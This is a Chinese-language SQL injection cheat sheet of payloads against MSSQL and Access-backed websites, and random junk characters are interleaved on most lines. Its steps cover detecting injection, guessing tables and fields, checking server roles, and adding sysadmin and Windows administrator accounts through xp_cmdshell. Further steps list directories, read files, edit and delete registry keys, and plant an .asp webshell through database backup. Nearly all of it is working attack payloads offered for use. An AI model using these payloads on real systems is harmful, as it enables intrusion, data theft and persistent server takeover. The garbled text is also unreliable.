1.判断是否有注入;and 1=1 ;and 1=2 /.'tfy$
2.初步判断是否是mssql ;and user>0 8E m X
"Dc6kn^}3
3.注入参数是字符'and [查询条件] and ''=' $c!cO" U
d+1q[,-
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9aED6
:|s!_G <
5.判断数据库系统 G8w<^z>pTg
O>Vb7`z0<
;and (select count(*) from sysobjects)>0 mssql U;Iqz1S
^^u{W|'CaH
;and (select count(*) from msysobjects)>0 access %nTgrgS(=
_B@=fY(g!
g:l5,j.K
)%4%Uo_Xm
6.猜数据库 ;and (select Count(*) from [数据库名])>0 6*] g)m
HC4vet
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Svs!C+:le
?R
4sH
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 :u%Jrc(W
4,8=0[eRG
9.(1)猜字段的ascii值(access) kEH(\3,l
h|=<I)}z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 X=i^[?C
qUH02"z@9
(2)猜字段的ascii值(mssql) YEL,TU
GOT@
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 (v11;k dJB
OJ (ho&((
10.测试权限结构(mssql) r#ISIgJXG
p;[">["
xWw Qm'I2}
7oj
^(R,
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- G:W4<w
t%
-"h|
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- %h)6o99{wF
z=}@aX[
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- BT|5"b}
Q>jx`68'KI
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9] i$`y
K.y2 $b/
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ?#OGH`ZvkI
pvCf4pf~
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- T6gugDQ~.
PGaB U3
;and 1=(select IS_MEMBER('db_owner'));-- zYCrfr
i+x$Y)=
F/MzrK\':m
[^rT: %Z
11.添加mssql和系统的帐户 X@;o<2^
4fK(<2i
;exec master.dbo.sp_addlogin username;-- > 3<P^-9L
;exec master.dbo.sp_password null,username,password;-- ,/d
R
CdxEY
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- W'3&\}
[I4:R_\
;exec master.dbo.xp_cmdshell 'net user username password <r6e23
av-l_iE
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 85>WK+=
{ o2pCH
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ikr|P&e#u
/%E l0X
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- gk"0r\Eq
:6~DOvY
O}4(v #
~hubh!d=
12.(1)遍历目录 OQ[E-%v1 R
fs8nYgv|Q
;create table dirs(paths varchar(100), id int) KC+C?]~M
h5+qP"n!?q
;insert dirs exec master.dbo.xp_dirtree 'c:\' K"p$ga{
9}~WwmC|x
;and (select top 1 paths from dirs)>0 c$X0C&m
BXNt@%
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >d.o1<
/ v";u)
Y,-?oBY
L0v& m
(2)遍历目录 \,:3bY_d
ooJ ^8L
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- oSmv
(O
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 x"hZOgFZ
L@ ,-V
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ?y.q<F)
h8IjTd]z{$
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6XVr-ef
[iJU{W
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Hwr#
NKz-
1J}i :i&
)_*<uSl
bU`Ih# q
13.mssql中的存储过程 Vb${Oy+
+&LzLF.bK
xp_regenumvalues 注册表根键, 子键 Va^AEuzF
Sq9I]A
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 VieX5
O>zPWVwa
xp_regread 根键,子键,键值名 [kdt]+'+
F-!,U)
;exec xp_regread 7qfo%n"
X!+#1NPM
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 NGl/F{<
TW2OT }
xp_regwrite 根键,子键, 值名, 值类型, 值 fz%I'+!
E)eRi"a46
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 '4gi*8Y
rlj @'
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 QPe+K61U
]B;GU
xp_regdeletevalue 根键,子键,值名 Ka[@-XH
(TufvHC
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 UjmBLXz@T
oY!nM%z/
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 44H#8kV
@Y/PvS8!
]LF Y2w<
goYRA_%cX
14.mssql的backup创建webshell U.7;:W}c
?k lV;+
use model .C
avb
/*5t@_0fe
create table cmd(str image); t;P%&:"@M
+r7uIwi$@
insert into cmd(str) values (''); ]~my<3j}or
gu+c7qe
backup database model to disk='c:\l.asp'; }-3|
v<d
mQRQ2SN6
AJ'YkSg
R[eQ}7;+
15.mssql内置函数 Evd>s
8 *@knkJ
;and (select @@version)>0 获得Windows的版本号 s1,kTde
<8UqV.&
;and user_name()='dbo' 判断当前系统的连接用户是不是sa VGbuEC [Y
%@IZ41<C
;and (select user_name())>0 爆当前系统的连接用户 ;p~ &G"-C`
eySV -f{
;and (select db_name())>0 得到当前连接的数据库 [al, UO
#"}Z'|X*
d*%-r2K
yZf+*j/a7
16.简洁的webshell (<ybst6+I
s>Eu[uA
use model M8Y\1#~
m5HP56a
create table cmd(str image); O.7Q*^_
neQ2k=ao
insert into cmd(str) values (''); @Q:5{?
9/$D&tRN
backup database model to disk='g:\wwwtest\l.asp';